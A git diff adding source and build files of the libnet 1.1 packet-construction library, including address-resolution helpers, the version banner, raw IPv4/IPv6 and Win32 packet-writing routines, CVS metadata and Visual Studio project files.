struct in_addr addr; + + if (use_name == LIBNET_RESOLVE) + { + addr.s_addr = in; + host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr), + AF_INET); + } + if (!host_ent) + { + p = (u_int8_t *)∈ + snprintf(hostname, hostname_len, "%d.%d.%d.%d", + (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); + } + else + { + strncpy(hostname, host_ent->h_name, hostname_len - 1); + hostname[sizeof(hostname) - 1] = '\0'; + } +} + +u_int32_t +libnet_name2addr4(libnet_t *l, char *host_name, u_int8_t use_name) +{ + struct in_addr addr; + struct hostent *host_ent; + u_int32_t m; + u_int val; + int i; + + if (use_name == LIBNET_RESOLVE) + { + if ((addr.s_addr = inet_addr(host_name)) == -1) + { + if (!(host_ent = gethostbyname(host_name))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %s\n", __func__, hstrerror(h_errno)); + /* XXX - this is actually 255.255.255.255 */ + return (-1); + } + memcpy(&addr.s_addr, host_ent->h_addr, host_ent->h_length); + } + /* network byte order */ + return (addr.s_addr); + } + else + { + /* + * We only want dots 'n decimals. + */ + if (!isdigit(host_name[0])) + { + if (l) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): expecting dots and decimals\n", __func__); + } + /* XXX - this is actually 255.255.255.255 */ + return (-1); + } + + m = 0; + for (i = 0; i < 4; i++) + { + m <<= 8; + if (*host_name) + { + val = 0; + while (*host_name && *host_name != '.') + { + val *= 10; + val += *host_name - '0'; + if (val > 255) + { + if (l) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): value greater than 255\n", __func__); + } + /* XXX - this is actually 255.255.255.255 */ + return (-1); + } + host_name++; + } + m |= val; + if (*host_name) + { + host_name++; + } + } + } + /* host byte order */ + return (ntohl(m)); + } +} + +void +libnet_addr2name6_r(struct libnet_in6_addr addr, u_int8_t use_name, + char *host_name, int host_name_len) +{ + struct hostent *host_ent = NULL; + + if (use_name == LIBNET_RESOLVE) + { +#ifdef HAVE_SOLARIS +#ifdef HAVE_SOLARIS_IPV6 + host_ent = getipnodebyaddr((int8_t *)&addr, sizeof(struct in_addr), + AF_INET6, NULL); +#else + /* XXX - Gah! Can't report error! */ + host_ent = NULL; +#endif +#else + host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr), + AF_INET6); +#endif + } + if (!host_ent) + { +#if !defined(__WIN32__) /* Silence Win32 warning */ + inet_ntop(AF_INET6, &addr, host_name, host_name_len); +#endif + } + else + { + strncpy(host_name, host_ent->h_name, host_name_len -1); + host_name[sizeof(host_name) - 1] = '\0'; + } +} + +const struct libnet_in6_addr in6addr_error = IN6ADDR_ERROR_INIT; + +struct libnet_in6_addr +libnet_name2addr6(libnet_t *l, char *host_name, u_int8_t use_name) +{ +#if !defined (__WIN32__) + struct libnet_in6_addr addr; + struct hostent *host_ent; +#endif + + if (use_name == LIBNET_RESOLVE) + { +#ifdef __WIN32__ + /* XXX - we don't support this yet */ + if (l) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't resolve IPv6 addresses\n", __func__); + } + return (in6addr_error); +#else +#ifdef HAVE_SOLARIS +#ifdef HAVE_SOLARIS_IPV6 + if (!(host_ent = getipnodebyname((int8_t *)&addr, + sizeof(struct in_addr), AF_INET6, NULL))) +#else + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %s\n", __func__, strerror(errno)); + return (in6addr_error); +#endif +#else + if (!(host_ent = gethostbyname2(host_name, AF_INET6))) +#endif + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %s", __func__, strerror(errno)); + return (in6addr_error); + } + memcpy(&addr, host_ent->h_addr, host_ent->h_length); + return (addr); +#endif /* !__WIN32__ */ + } + else + { + #if defined(__WIN32__) /* Silence Win32 warning */ + if (l) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't resolve IPv6 addresses.\n", __func__); + } + return (in6addr_error); + #else + if(!inet_pton(AF_INET6, host_name, &addr)) + { + if (l) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): invalid IPv6 address\n", __func__); + } + return (in6addr_error); + } + return (addr); + #endif + } +} + +struct libnet_in6_addr +libnet_get_ipaddr6(libnet_t *l) +{ + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): not yet Implemented\n", __func__); + return (in6addr_error); +} + +#if !defined(__WIN32__) +u_int32_t +libnet_get_ipaddr4(libnet_t *l) +{ + struct ifreq ifr; + register struct sockaddr_in *sin; + int fd; + + if (l == NULL) + { + return (-1); + } + + /* create dummy socket to perform an ioctl upon */ + fd = socket(PF_INET, SOCK_DGRAM, 0); + if (fd == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): socket(): %s\n", __func__, strerror(errno)); + return (-1); + } + + sin = (struct sockaddr_in *)&ifr.ifr_addr; + + if (l->device == NULL) + { + if (libnet_select_device(l) == -1) + { + /* error msg set in libnet_select_device() */ + close(fd); + return (-1); + } + } + strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) -1); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + + ifr.ifr_addr.sa_family = AF_INET; + + if (ioctl(fd, SIOCGIFADDR, (int8_t*) &ifr) < 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): ioctl(): %s\n", __func__, strerror(errno)); + close(fd); + return (-1); + } + close(fd); + return (sin->sin_addr.s_addr); +} +#else +#include <Packet32.h> +u_int32_t +libnet_get_ipaddr4(libnet_t *l) +{ + long npflen = 0; + struct sockaddr_in sin; + struct npf_if_addr ipbuff; + + memset(&sin,0,sizeof(sin)); + memset(&ipbuff,0,sizeof(ipbuff)); + + npflen = sizeof(ipbuff); + if (PacketGetNetInfoEx(l->device, &ipbuff, &npflen)) + { + sin = *(struct sockaddr_in *)&ipbuff.IPAddress; + } + return (sin.sin_addr.s_addr); +} +#endif /* WIN32 */ + +u_int8_t * +libnet_hex_aton(int8_t *s, int *len) +{ + u_int8_t *buf; + int i; + int32_t l; + int8_t *pp; + + while (isspace(*s)) + { + s++; + } + for (i = 0, *len = 0; s[i]; i++) + { + if (s[i] == ':') + { + (*len)++; + } + } + buf = malloc(*len + 1); + if (buf == NULL) + { + return (NULL); + } + /* expect len hex octets separated by ':' */ + for (i = 0; i < *len + 1; i++) + { + l = strtol(s, (char **)&pp, 16); + if (pp == s || l > 0xff || l < 0) + { + *len = 0; + free(buf); + return (NULL); + } + if (!(*pp == ':' || (i == *len && (isspace(*pp) || *pp == '\0')))) + { + *len = 0; + free(buf); + return (NULL); + } + buf[i] = (u_int8_t)l; + s = pp + 1; + } + /* return int8_tacter after the octets ala strtol(3) */ + (*len)++; + return (buf); +} + +/* EOF */ diff --git a/libnet/src/libnet_version.c b/libnet/src/libnet_version.c new file mode 100644 index 0000000..c7393f0 --- /dev/null +++ b/libnet/src/libnet_version.c @@ -0,0 +1,61 @@ +/* + * $Id: libnet_version.c,v 1.7 2004/11/09 07:05:07 mike Exp $ + * + * libnet + * libnet_version.c - dummy version function to define version info + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (!(_WIN32) || (__CYGWIN__)) +#include <unistd.h> +#include "../version.h" +#else +#include "../include/win32/libnet.h" +#endif + +char banner[] = "libnet version "VERSION""; + +void +__libnet_print_vers(void) +{ + /* + * We don't check for error cos we really don't care. + */ +#if defined (__WIN32__) + fprintf(stdout, "%s", banner); +#else + write(STDOUT_FILENO, banner, sizeof(banner) - 1); +#endif +} + +char * +libnet_version(void) +{ + return (banner); +} + +/* EOF */ diff --git a/libnet/src/libnet_write.c b/libnet/src/libnet_write.c new file mode 100644 index 0000000..70c9736 --- /dev/null +++ b/libnet/src/libnet_write.c @@ -0,0 +1,420 @@ +/* + * $Id: libnet_write.c,v 1.14 2004/11/09 07:05:07 mike Exp $ + * + * libnet + * libnet_write.c - writes a prebuilt packet to the network + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * win32 specific code + * Copyright (c) 2002 - 2003 Roberto Larcher <roberto.larcher@libero.it> + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#include "../include/win32/config.h" +#include "packet32.h" +#include "Ntddndis.h" +#endif + +int +libnet_write(libnet_t *l) +{ + int c; + u_int32_t len; + u_int8_t *packet = NULL; + + if (l == NULL) + { + return (-1); + } + + c = libnet_pblock_coalesce(l, &packet, &len); + if (c == - 1) + { + /* err msg set in libnet_pblock_coalesce() */ + return (-1); + } + + /* assume error */ + c = -1; + switch (l->injection_type) + { + case LIBNET_RAW4: + case LIBNET_RAW4_ADV: + if (len > LIBNET_MAX_PACKET) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): packet is too large (%d bytes)\n", + __func__, len); + goto done; + } + c = libnet_write_raw_ipv4(l, packet, len); + break; + case LIBNET_RAW6: + case LIBNET_RAW6_ADV: + c = libnet_write_raw_ipv6(l, packet, len); + break; + case LIBNET_LINK: + case LIBNET_LINK_ADV: + c = libnet_write_link(l, packet, len); + break; + default: + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): unsuported injection type\n", __func__); + goto done; + } + + /* do statistics */ + if (c == len) + { + l->stats.packets_sent++; + l->stats.bytes_written += c; + } + else + { + l->stats.packet_errors++; + /* + * XXX - we probably should have a way to retrieve the number of + * bytes actually written (since we might have written something). + */ + if (c > 0) + { + l->stats.bytes_written += c; + } + } +done: + /* + * Restore original pointer address so free won't complain about a + * modified chunk pointer. + */ + if (l->aligner > 0) + { + packet = packet - l->aligner; + } + free(packet); + return (c); +} + +#if defined (__WIN32__) +libnet_ptag_t +libnet_win32_build_fake_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, u_int8_t *packet, libnet_t *l, +libnet_ptag_t ptag) +{ + struct libnet_ethernet_hdr eth_hdr; + + if (!packet) + { + return (-1); + } + + memset(ð_hdr, 0, sizeof(eth_hdr)); + eth_hdr.ether_type = htons(type); + memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */ + memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */ + + if (payload && payload_s) + { + /* + * Unchecked runtime error for buf + ETH_H payload to be greater than + * the allocated heap memory. + */ + memcpy(packet + LIBNET_ETH_H, payload, payload_s); + } + memcpy(packet, ð_hdr, sizeof(eth_hdr)); + return (1); +} + +libnet_ptag_t +libnet_win32_build_fake_token(u_int8_t *dst, u_int8_t *src, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, u_int8_t *packet, libnet_t *l, +libnet_ptag_t ptag) +{ + struct libnet_token_ring_hdr token_ring_hdr; + + if (!packet) + { + return (-1); + } + + memset(&token_ring_hdr, 0, sizeof(token_ring_hdr)); + token_ring_hdr.token_ring_access_control = 0x10; + token_ring_hdr.token_ring_frame_control = 0x40; + token_ring_hdr.token_ring_llc_dsap = 0xaa; + token_ring_hdr.token_ring_llc_ssap = 0xaa; + token_ring_hdr.token_ring_llc_control_field = 0x03; + token_ring_hdr.token_ring_type = htons(type); + memcpy(token_ring_hdr.token_ring_dhost, dst, ETHER_ADDR_LEN); + memcpy(token_ring_hdr.token_ring_shost, libnet_get_hwaddr(l), + ETHER_ADDR_LEN); + + if (payload && payload_s) + { + /* + * Unchecked runtime error for buf + ETH_H payload to be greater than + * the allocated heap memory. + */ + memcpy(packet + LIBNET_TOKEN_RING_H, payload, payload_s); + } + memcpy(packet, &token_ring_hdr, sizeof(token_ring_hdr)); + return (1); +} + +int +libnet_win32_write_raw_ipv4(libnet_t *l, u_int8_t *payload, u_int32_t payload_s) +{ + static BYTE dst[ETHER_ADDR_LEN]; + static BYTE src[ETHER_ADDR_LEN]; + + u_int8_t *packet = NULL; + u_int32_t packet_s; + + LPPACKET lpPacket = NULL; + DWORD remoteip = 0; + DWORD BytesTransfered; + NetType type; + struct libnet_ipv4_hdr *ip_hdr = NULL; + + memset(dst, 0, sizeof(dst)); + memset(src, 0, sizeof(src)); + + packet_s = payload_s + l->link_offset; + packet = (u_int8_t *)malloc(packet_s); + if (packet == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): failed to allocate packet\n", __func__); + return (-1); + } + + /* we have to do the IP checksum */ + if (libnet_do_checksum(l, payload, IPPROTO_IP, LIBNET_IPV4_H) == -1) + { + /* error msg set in libnet_do_checksum */ + return (-1); + } + + /* MACs, IPs and other stuff... */ + ip_hdr = (struct libnet_ipv4_hdr *)payload; + memcpy(src, libnet_get_hwaddr(l), sizeof(src)); + remoteip = ip_hdr->ip_dst.S_un.S_addr; + + /* check if the remote station is the local station */ + if (remoteip == libnet_get_ipaddr4(l)) + { + memcpy(dst, src, sizeof(dst)); + } + else + { + memcpy(dst, libnet_win32_get_remote_mac(l, remoteip), sizeof(dst)); + } + + PacketGetNetType(l->lpAdapter, &type); + + switch(type.LinkType) + { + case NdisMedium802_3: + libnet_win32_build_fake_ethernet(dst, src, ETHERTYPE_IP, payload, + payload_s, packet, l , 0); + break; + case NdisMedium802_5: + libnet_win32_build_fake_token(dst, src, ETHERTYPE_IP, payload, + payload_s, packet, l, 0); + break; + case NdisMediumFddi: + break; + case NdisMediumWan: + case NdisMediumAtm: + case NdisMediumArcnet878_2: + default: + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): network type (%d) is not supported\n", __func__, + type.LinkType); + return (-1); + break; + } + + BytesTransfered = -1; + if ((lpPacket = PacketAllocatePacket()) == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): failed to allocate the LPPACKET structure\n", __func__); + return (-1); + } + + PacketInitPacket(lpPacket, packet, packet_s); + + /* PacketSendPacket returns a BOOLEAN */ + if (PacketSendPacket(l->lpAdapter, lpPacket, TRUE)) + { + BytesTransfered = packet_s; + } + + PacketFreePacket(lpPacket); + free(packet); + + return (BytesTransfered); +} + +int +libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + return (libnet_win32_write_raw_ipv4(l, packet, size)); +} + +int +libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + /* no difference in win32 */ + return (libnet_write_raw_ipv4(l, packet, size)); +} + +#else /* __WIN32__ */ + +int +libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + int c; + struct sockaddr_in sin; + struct libnet_ipv4_hdr *ip_hdr; + + if (l == NULL) + { + return (-1); + } + + ip_hdr = (struct libnet_ipv4_hdr *)packet; + +#if (LIBNET_BSD_BYTE_SWAP) + /* + * For link access, we don't need to worry about the inconsistencies of + * certain BSD kernels. However, raw socket nuances abound. Certain + * BSD implmentations require the ip_len and ip_off fields to be in host + * byte order. + */ + ip_hdr->ip_len = FIX(ip_hdr->ip_len); + ip_hdr->ip_off = FIX(ip_hdr->ip_off); +#endif /* LIBNET_BSD_BYTE_SWAP */ + + memset(&sin, 0, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = ip_hdr->ip_dst.s_addr; +#if (__WIN32__) + /* set port for TCP */ + /* + * XXX - should first check to see if there's a pblock for a TCP + * header, if not we can use a dummy value for the port. + */ + if (ip_hdr->ip_p == 6) + { + struct libnet_tcp_hdr *tcph_p = + (struct libnet_tcp_hdr *)(packet + (ip_hdr->ip_hl << 2)); + sin.sin_port = tcph_p->th_dport; + } + /* set port for UDP */ + /* + * XXX - should first check to see if there's a pblock for a UDP + * header, if not we can use a dummy value for the port. + */ + else if (ip_hdr->ip_p == 17) + { + struct libnet_udp_hdr *udph_p = + (struct libnet_udp_hdr *)(packet + (ip_hdr->ip_hl << 2)); + sin.sin_port = udph_p->uh_dport; + } +#endif /* __WIN32__ */ + + c = sendto(l->fd, packet, size, 0, (struct sockaddr *)&sin, + sizeof(struct sockaddr)); + +#if (LIBNET_BSD_BYTE_SWAP) + ip_hdr->ip_len = UNFIX(ip_hdr->ip_len); + ip_hdr->ip_off = UNFIX(ip_hdr->ip_off); +#endif /* LIBNET_BSD_BYTE_SWAP */ + + if (c != size) + { +#if !(__WIN32__) + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %d bytes written (%s)\n", __func__, c, + strerror(errno)); +#else /* __WIN32__ */ + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %d bytes written (%d)\n", __func__, c, + WSAGetLastError()); +#endif /* !__WIN32__ */ + } + return (c); +} + +int +libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ +#if defined HAVE_SOLARIS && !defined HAVE_SOLARIS_IPV6 + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): no IPv6 support\n", + __func__, strerror(errno)); + return (-1); +} +#else + int c; + struct sockaddr_in6 sin; + struct libnet_ipv6_hdr *ip_hdr; + + if (l == NULL) + { + return (-1); + } + + ip_hdr = (struct libnet_ipv6_hdr *)packet; + + memset(&sin, 0, sizeof(sin)); + sin.sin6_family = AF_INET6; + memcpy(sin.sin6_addr.s6_addr, ip_hdr->ip_dst.libnet_s6_addr, + sizeof(ip_hdr->ip_dst.libnet_s6_addr)); + + c = sendto(l->fd, packet, size, 0, (struct sockaddr *)&sin, sizeof(sin)); + if (c != size) + { +#if !(__WIN32__) + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %d bytes written (%s)\n", __func__, c, + strerror(errno)); +#else /* __WIN32__ */ + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %d bytes written (%d)\n", __func__, c, + WSAGetLastError()); +#endif /* !__WIN32__ */ + } + return (c); +} +#endif +#endif +/* EOF */ diff --git a/libnet/version.h.in b/libnet/version.h.in new file mode 100644 index 0000000..7e7992e --- /dev/null +++ b/libnet/version.h.in @@ -0,0 +1,7 @@ +/* + * $Id: version.h.in,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ + * @configure_input@ + */ + +#define VERSION "@PACKAGE_VERSION@" + diff --git a/libnet/win32/CVS/Entries b/libnet/win32/CVS/Entries new file mode 100644 index 0000000..3b29a1e --- /dev/null +++ b/libnet/win32/CVS/Entries @@ -0,0 +1,15 @@ +/Libnet-1.1.1-2002.sln/1.1/Tue Sep 16 17:00:47 2003// +/Libnet-1.1.1-2003.sln/1.2/Tue Oct 21 04:15:15 2003// +/Libnet-latest.ncb/1.3/Tue Sep 16 17:00:47 2003/-kb/ +/Libnet-latest.opt/1.1/Wed Sep 10 18:30:37 2003/-kb/ +/Libnet-latest.sln/1.3/Wed Sep 10 18:30:37 2003// +/Libnet-latest.suo/1.3/Tue Sep 16 17:00:47 2003/-kb/ +/Libnet.dsp/1.2/Wed Oct 22 21:19:30 2003// +/Libnet.dsw/1.2/Tue Oct 21 04:14:28 2003// +/README.txt/1.2/Tue Oct 21 18:54:06 2003// +/Libnet-latest.vcproj/1.4/Wed Jan 21 21:37:18 2004// +/Libnet-1.1.1-2003.ncb/1.4/Thu Mar 4 21:34:53 2004/-kb/ +/Libnet-1.1.1-2003.suo/1.4/Thu Mar 4 21:34:53 2004/-kb/ +/Libnet-1.1.1.vcproj/1.5/Thu Mar 4 21:34:53 2004// +/libnet_dll.def/1.7/Thu Mar 4 21:34:53 2004// +D diff --git a/libnet/win32/CVS/Repository b/libnet/win32/CVS/Repository new file mode 100644 index 0000000..5135cdc --- /dev/null +++ b/libnet/win32/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/win32 diff --git a/libnet/win32/CVS/Root b/libnet/win32/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/win32/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/win32/Libnet-1.1.1-2002.sln b/libnet/win32/Libnet-1.1.1-2002.sln new file mode 100644 index 0000000..831677d --- /dev/null +++ b/libnet/win32/Libnet-1.1.1-2002.sln @@ -0,0 +1,77 @@ +Microsoft Visual Studio Solution File, Format Version 7.00
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Libnet-latest-006", "Libnet-latest.vcproj", "{6A0551E1-E416-4125-BCC0-F18F2D601806}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "arp", "..\sample\win32\arp\arp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cdp", "..\sample\win32\cdp\cdp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dhcp_discover", "..\sample\win32\dhcp_discover\dhcp_discover.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "get_addr", "..\sample\win32\get_addr\get_addr.vcproj", "{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "icmp_echo_cq", "..\sample\win32\icmp_echo_cq\icmp_echo_cq.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "tcp1", "..\sample\win32\tcp1\tcp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "udp1", "..\sample\win32\udp1\udp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dns", "..\sample\win32\dns\dns.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Global
+ GlobalSection(SolutionConfiguration) = preSolution
+ ConfigName.0 = Debug
+ ConfigName.1 = Release
+ EndGlobalSection
+ GlobalSection(ProjectDependencies) = postSolution
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+ GlobalSection(ProjectConfiguration) = postSolution
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+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ EndGlobalSection
+ GlobalSection(ExtensibilityAddIns) = postSolution
+ EndGlobalSection
+EndGlobal
diff --git a/libnet/win32/Libnet-1.1.1-2003.ncb b/libnet/win32/Libnet-1.1.1-2003.ncb Binary files differnew file mode 100644 index 0000000..71d907f --- /dev/null +++ b/libnet/win32/Libnet-1.1.1-2003.ncb diff --git a/libnet/win32/Libnet-1.1.1-2003.sln b/libnet/win32/Libnet-1.1.1-2003.sln new file mode 100644 index 0000000..78de55b --- /dev/null +++ b/libnet/win32/Libnet-1.1.1-2003.sln @@ -0,0 +1,84 @@ +Microsoft Visual Studio Solution File, Format Version 8.00
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "arp", "..\sample\win32\arp\arp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cdp", "..\sample\win32\cdp\cdp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dhcp_discover", "..\sample\win32\dhcp_discover\dhcp_discover.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ ProjectSection(ProjectDependencies) = postProject
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+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "get_addr", "..\sample\win32\get_addr\get_addr.vcproj", "{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "icmp_echo_cq", "..\sample\win32\icmp_echo_cq\icmp_echo_cq.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ ProjectSection(ProjectDependencies) = postProject
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+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "tcp1", "..\sample\win32\tcp1\tcp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
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+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
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+ ProjectSection(ProjectDependencies) = postProject
+ EndProjectSection
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+Global
+ GlobalSection(SolutionConfiguration) = preSolution
+ Debug = Debug
+ Release = Release
+ EndGlobalSection
+ GlobalSection(ProjectConfiguration) = postSolution
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OptimizeForProcessor="0" + AdditionalIncludeDirectories=".\src;.\include;..\winpcap\wpcap\libpcap\Win32\Include" + PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS" + MinimalRebuild="TRUE" + BasicRuntimeChecks="3" + RuntimeLibrary="1" + BufferSecurityCheck="TRUE" + UsePrecompiledHeader="0" + WarningLevel="3" + Detect64BitPortabilityProblems="FALSE" + DebugInformationFormat="4"/> + <Tool + Name="VCCustomBuildTool"/> + <Tool + Name="VCLinkerTool" + OutputFile="$(OutDir)/Libnet.dll" + LinkIncremental="2" + ModuleDefinitionFile="libnet_dll.def" + GenerateDebugInformation="TRUE" + ProgramDatabaseFile="$(OutDir)/Libnet-latest.pdb" + SubSystem="2" + ImportLibrary="$(OutDir)/Libnet.lib" + TargetMachine="1"/> + <Tool + Name="VCMIDLTool"/> + <Tool + Name="VCPostBuildEventTool"/> + <Tool + 